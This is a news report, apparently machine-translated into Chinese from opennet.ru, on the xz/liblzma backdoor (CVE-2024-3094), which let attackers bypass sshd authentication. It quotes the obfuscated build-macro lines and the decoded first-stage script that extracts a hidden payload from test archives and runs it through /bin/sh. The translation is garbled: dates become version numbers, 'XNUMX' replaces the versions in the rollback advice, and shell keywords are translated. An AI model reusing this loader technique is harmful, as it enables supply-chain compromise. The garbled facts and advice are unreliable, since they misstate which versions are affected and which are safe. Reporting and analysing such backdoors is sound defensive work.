在 xz/liblzma 库中发现允许通过 sshd 进入的后门

XZ Utils 包(包括 liblzma 库和用于处理“.xz”格式压缩数据的实用程序)中,已识别出一个后门 (CVE-2024-3094),该后门允许拦截和修改相关应用程序处理的数据。与 liblzma 库。后门的主要目标是 OpenSSH 服务器,在某些发行版中,该服务器与 libsystemd 库捆绑在一起,而 libsystemd 库又使用 liblzma。将 sshd 与易受攻击的库链接允许攻击者无需身份验证即可访问 SSH 服务器。

该后门存在于 5.6.0 月 5.6.1 日和 24 月 9 日发布的官方版本 40 和 5.6.0 中,成功进入了一些发行版和存储库,例如 Gentoo、Arch Linux、Debian sid/unstable、Fedora Rawhide 和5.6.1-beta、openSUSE 工厂和风滚草、LibreELEC、Alpine Edge、Solus、NixOS 不稳定、OpenIndiana、OpenMandriva 滚动、pkgsrc 当前、Slackware 当前、Manjaro 测试。建议所有xz 5.4.6和XNUMX版本的用户紧急回滚到XNUMX版本。

在缓解该问题的因素中,值得注意的是,带有后门的 liblzma 版本未能成为大型发行版稳定版本的一部分,但影响了 openSUSE Tumbleweed 和 Fedora 40-beta。 Arch Linux 和 Gentoo 使用了有漏洞的 zx 版本,但不易受到攻击,因为它们没有对 openssh 应用 systemd-notify 补丁,这会导致 sshd 链接到 liblzma。该后门仅影响基于Linux内核和Glibc C库的x86_64系统。

后门激活代码隐藏在 automake 工具包在构建时使用的 build-to-host.m4 文件中的 m4 宏中。在汇编过程中,为了测试操作的正确性,在执行基于存档(bad-3-corrupt_lzma2.xz、good-large_compressed.lzma)的复杂混淆操作时,生成了带有恶意代码的目标文件,该目标文件包含在liblzma 库并更改了其某些功能的操作逻辑。激活后门的 m4 宏包含在发布 tarball 中,但不在 Git 存储库中。同时,存储库中存在恶意测试档案,即实施后门的人可以访问存储库和版本生成过程。

在应用程序中使用 liblzma 时,恶意更改可能会被用来拦截或修改数据,或者影响 sshd 的运行。特别是,恶意代码欺骗了 RSA_public_decrypt 函数来绕过 sshd 身份验证过程。后门包括防止检测的保护,并且在设置 LANG 和 TERM 环境变量(即在终端中运行进程时)并且未设置 LD_DEBUG 和 LD_PROFILE 环境变量时不会显现出来,并且仅在执行/usr/sbin/sshd 可执行文件。后门还有一种检测调试环境中执行情况​​的方法。

特别是,m4/build-to-host.m4 文件使用了 gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake |评估 $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

在第一个构造中,grep 操作找到文件tests/files/bad-3-corrupt_lzma2.xz,解压后生成脚本:####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && 退出 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi 导出 i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) &&头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +2048 && (头 -c +1024 >/dev/null) && 头 -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

攻击者如何设法访问 xz 项目的基础设施尚未完全清楚。目前还不清楚有多少用户和项目因后门而受到损害。后门的涉嫌作者(JiaT75 - Jia Tan)在存储库中发布了包含恶意代码的档案,并与 Fedora 开发人员通信并向 Debian 发送了与发行版过渡到 xz 5.6.0 分支相关的拉取请求,但并未这样做引起怀疑,因为他参与了xz的开发,已经过去两年了,就变更数量而言,是第二个开发者。除了 xz 项目之外,该后门的涉嫌作者还参与了 xz-java 和 xz-embedded 软件包的开发。而且,贾坦日前还被列入了Linux内核所使用的XZ Embedded项目的维护者人数中。

在分析通过 ssh 连接到基于 Debian sid 的系统时 valgrind 产生的过多 CPU 消耗和错误后,发现了恶意更改。值得注意的是,xz 5.6.1 版本包含了后门据称作者针对升级到带有后门的 zx 5.6.0 版本后出现的 sshd 速度变慢和崩溃的投诉而准备的更改。此外,去年 Jia Tan 进行了与“-fsanitize=address”检查模式不兼容的更改,导致其在模糊测试期间被禁用。

来源: opennet.ru

添加评论